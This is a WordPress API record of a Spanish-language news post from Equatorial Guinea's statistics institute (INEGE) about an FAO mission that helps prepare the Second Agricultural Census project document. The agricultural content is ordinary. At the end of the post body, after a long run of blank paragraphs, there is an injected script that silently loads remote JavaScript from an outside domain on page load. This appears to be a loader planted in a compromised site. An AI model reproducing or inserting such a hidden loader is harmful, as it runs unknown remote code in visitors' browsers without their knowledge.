{"id":7045,"date":"2025-06-17T10:09:53","date_gmt":"2025-06-17T09:09:53","guid":{"rendered":"https:\/\/inege.org\/?p=7045"},"modified":"2025-11-24T13:07:58","modified_gmt":"2025-11-24T12:07:58","slug":"mision-de-asistencia-tecnica-para-la-elaboracion-del-documento-de-proyecto-del-segundo-censo-agricola-de-guinea-ecuatorial","status":"publish","type":"post","link":"https:\/\/inege.org\/?p=7045","title":{"rendered":"MISI\u00d3N DE ASISTENCIA T\u00c9CNICA PARA LA ELABORACI\u00d3N DEL DOCUMENTO DE PROYECTO DEL SEGUNDO CENSO AGR\u00cdCOLA DE GUINEA ECUATORIAL"},"content":{"rendered":"<p>Este lunes, 16 de junio, se ha iniciado una capacitaci\u00f3n de asistencia t\u00e9cnica en el marco de los preparativos para el Segundo Censo General Agr\u00edcola de Guinea Ecuatorial y,\u00a0 a\u00a0 solicitud\u00a0 del\u00a0 Gobierno,\u00a0 a\u00a0 trav\u00e9s\u00a0 del\u00a0 Ministerio\u00a0 de\u00a0 Agricultura, Ganader\u00eda, Bosques, Pesca y Medio Ambiente y del Instituto Nacional de Estad\u00edsticas de Guinea Ecuatorial, (INEGE), la Organizaci\u00f3n de las Naciones Unidas para la Alimentaci\u00f3n y la Agricultura (FAO)\u00a0 ofrece\u00a0 asistencia\u00a0 t\u00e9cnica\u00a0 para\u00a0 la\u00a0 capacitaci\u00f3n\u00a0 y\u00a0 elaboraci\u00f3n\u00a0 de\u00a0 los\u00a0 documentos metodol\u00f3gicos para la implementaci\u00f3n del referido censo. En esta capacitaci\u00f3n participan funcionarios del INEGE y del Ministerio de Agricultura y tendr\u00e1 una duraci\u00f3n de 14 d\u00edas.<\/p>\n<ol>\n<li><strong> Antecedentes<\/strong><\/li>\n<\/ol>\n<p>En el marco de los preparativos para el Segundo Censo General Agr\u00edcola de Guinea Ecuatorial y, a solicitud del Gobierno de Guinea Ecuatorial, a trav\u00e9s del Ministerio de Agricultura, Ganader\u00eda, Bosques, Pesca y Medio Ambiente y del Instituto Nacional de Estad\u00edsticas de Guinea Ecuatorial, (INEGE), la Organizaci\u00f3n de las Naciones Unidas para la Alimentaci\u00f3n y la Agricultura (FAO) ofrece asistencia t\u00e9cnica para la capacitaci\u00f3n y elaboraci\u00f3n de los documentos metodol\u00f3gicos para la implementaci\u00f3n del referido censo.<\/p>\n<p>En este contexto, expertos de la FAO realizar\u00e1n una tercera misi\u00f3n al pa\u00eds, tras las dos primeras misiones descritas como:<\/p>\n<ul>\n<li>Misi\u00f3n de Evaluaci\u00f3n de las necesidades estad\u00edsticas en el marco de los preparativos para el segundo Censo General Agr\u00edcola de Guinea Ecuatorial, realizada el mes de abril 2024.<\/li>\n<li>Misi\u00f3n de Capacitaci\u00f3n sobre conceptos, definiciones y gu\u00edas operativas en preparaci\u00f3n del Segundo Censo General Agr\u00edcola de Guinea Ecuatorial, durante el mes de noviembre 2024.<\/li>\n<\/ul>\n<p>Esta tercera misi\u00f3n, prevista durante el mes de junio 2025, contar\u00e1 con la participaci\u00f3n de los expertos estad\u00edsticos de la FAO, quienes trabajar\u00e1n en colaboraci\u00f3n con el equipo t\u00e9cnico del censo agropecuario que lidera el INEGE y conformado por personal t\u00e9cnico del INEGE y del<\/p>\n<p>Ministerio de Agricultura, Ganader\u00eda, Bosques, Pesca y Medio Ambiente.<\/p>\n<p>Considerando las posibles demoras en la elaboraci\u00f3n del borrador del documento de proyecto del censo agropecuario, dadas la cantidad de actividades urgentes que compiten entre s\u00ed entre las diferentes operaciones estad\u00edsticas previstas y lideradas por el INEGE, la FAO apoyar\u00e1 los trabajos asociados a la elaboraci\u00f3n del Documento de Proyecto junto con el equipo t\u00e9cnico formado por el personal t\u00e9cnico del INEGE y del Ministerio de Agricultura, Ganader\u00eda, Bosques,<\/p>\n<p>Pesca y Medio Ambiente.<\/p>\n<ol start=\"2\">\n<li><strong> Objetivo<\/strong><\/li>\n<\/ol>\n<p>La misi\u00f3n se desarrolla con el objetivo de apoyar al Gobierno de Guinea Ecuatorial para finalizar la elaboraci\u00f3n del Documento del Proyecto de Censo Agropecuario y el presupuesto necesario para su implementaci\u00f3n.<\/p>\n<ol start=\"3\">\n<li><strong> Participantes en la misi\u00f3n<\/strong><\/li>\n<\/ol>\n<p><strong>* Sr. Dominique Habimana,<\/strong> PhD, Estad\u00edstico Regional, FAO<\/p>\n<p><strong>Sra. Shouir Sahidane<\/strong>, Estad\u00edstico experto internacional especializado en metodolog\u00edas de encuestas y censos agr\u00edcolas, FAO.<\/p>\n<ol start=\"4\">\n<li><strong> Metodolog\u00eda<\/strong><\/li>\n<\/ol>\n<p>Los expertos estad\u00edsticos de la FAO trabajar\u00e1n con el equipo t\u00e9cnico formado para el Censo<\/p>\n<p>Agropecuario liderado por el INEGE y con el personal t\u00e9cnico del Ministerio de Agricultura, Ganader\u00eda, Bosques, Pesca y Medio Ambiente. Se esperan que las sesiones de trabajo se organicen de la siguiente manera durante la misi\u00f3n:<\/p>\n<p>Previa a la misi\u00f3n: El Equipo T\u00e9cnico del Censo remitir\u00e1 el borrador del documento para revisi\u00f3n y sugerencias por parte de los estad\u00edsticos que participar\u00e1n en la misi\u00f3n.<\/p>\n<p>Primera semana durante la misi\u00f3n: <strong>16 &#8211; 19 junio 2025:<\/strong> Los estad\u00edsticos trabajan con el Equipo T\u00e9cnico del Censo de forma diaria en las instalaciones de INEGE u otras instalaciones acordadas, para la mejora del borrador del Documento. <strong>20 junio 2025:<\/strong> Desarrollo de un taller t\u00e9cnico con profesionales de instituciones t\u00e9cnicas en el contexto del pr\u00f3ximo censo agropecuario, para obtener sus aportes t\u00e9cnicos para el documento del proyecto que se revisar\u00e1 y finalizar\u00e1.<\/p>\n<p><strong>Segunda semana durante la misi\u00f3n:<\/strong>\u00a0<strong>23 &#8211; 27 junio 2025:<\/strong> El Equipo T\u00e9cnico y los expertos estad\u00edsticos integran los comentarios del taller de un d\u00eda y elaboran el documento final de proyecto del pr\u00f3ximo censo agropecuario. Estas sesiones de trabajo tendr\u00e1n lugar en la sala de reuniones de la FAO u otras instalaciones acordadas.<\/p>\n<p><strong>\u00a0 \u00a0 5. Sobre el Documento de Proyecto del Censo Agr\u00edcola<\/strong><\/p>\n<p>La disponibilidad del Documento del Proyecto del Censo Agropecuario es esencial para el Gobierno, tanto para la movilizaci\u00f3n de recursos como para la promoci\u00f3n del censo antes de su implementaci\u00f3n. Dicho documento incluir\u00e1 el enfoque metodol\u00f3gico, el alcance de los datos a<\/p>\n<p>referencia y que deben incluirse en el CPV, por ejemplo, las preguntas espec\u00edficas relacionadas con la agricultura que deben incluirse en el CPV, as\u00ed como su alcance y secuencia.<\/p>\n<p>El Documento del Proyecto del Censo es el instrumento base para la movilizaci\u00f3n de los recursos financieros necesarios para su implementaci\u00f3n. Por lo que se recomienda su disponibilidad desde el principio, como ocurre en otros pa\u00edses.<\/p>\n<p><a href=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/Destacado.png\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone wp-image-7050\" src=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/Destacado.png\" alt=\"\" width=\"363\" height=\"222\" \/> <\/a><a href=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/IMG_8719.jpg\"><img decoding=\"async\" class=\"alignnone wp-image-7198\" src=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/IMG_8719.jpg\" alt=\"\" width=\"305\" height=\"229\" \/><\/a><\/p>\n<p><a href=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/IMG_8652.jpg\">\u00a0 <\/a><a href=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/IMG_8718.jpg\"><img decoding=\"async\" class=\"alignnone wp-image-7199\" src=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/IMG_8718.jpg\" alt=\"\" width=\"342\" height=\"256\" \/><\/a><a href=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/IMG_8652.jpg\">\u00a0 \u00a0 <img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-7058\" src=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/IMG_8652.jpg\" alt=\"\" width=\"332\" height=\"249\" \/> \u00a0 <\/a><\/p>\n<p><a href=\"https:\/\/inege.org\/wp-content\/uploads\/2025\/06\/Mision-Formulacion-ProDoc_2do-Censo-Agricola_EQG.pdf\" target=\"_blank\" rel=\"noopener\">Descargar documento<\/a><\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Este lunes, 16 de junio, se ha iniciado una capacitaci\u00f3n de asistencia t\u00e9cnica en el marco de los preparativos para el Segundo Censo General Agr\u00edcola de Guinea Ecuatorial y,\u00a0 a\u00a0 solicitud\u00a0 del\u00a0 Gobierno,\u00a0 a\u00a0 trav\u00e9s\u00a0 del\u00a0 Ministerio\u00a0 de\u00a0 Agricultura, Ganader\u00eda, Bosques, Pesca y Medio Ambiente y del Instituto Nacional de Estad\u00edsticas de Guinea Ecuatorial, (INEGE), [&hellip;]<\/p>\n","protected":false},"author":82,"featured_media":7197,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[119,35],"tags":[],"class_list":["post-7045","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-actualidades","category-news"],"_links":{"self":[{"href":"https:\/\/inege.org\/index.php?rest_route=\/wp\/v2\/posts\/7045","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/inege.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/inege.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/inege.org\/index.php?rest_route=\/wp\/v2\/users\/82"}],"replies":[{"embeddable":true,"href":"https:\/\/inege.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7045"}],"version-history":[{"count":12,"href":"https:\/\/inege.org\/index.php?rest_route=\/wp\/v2\/posts\/7045\/revisions"}],"predecessor-version":[{"id":8508,"href":"https:\/\/inege.org\/index.php?rest_route=\/wp\/v2\/posts\/7045\/revisions\/8508"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/inege.org\/index.php?rest_route=\/wp\/v2\/media\/7197"}],"wp:attachment":[{"href":"https:\/\/inege.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7045"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/inege.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7045"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/inege.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7045"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}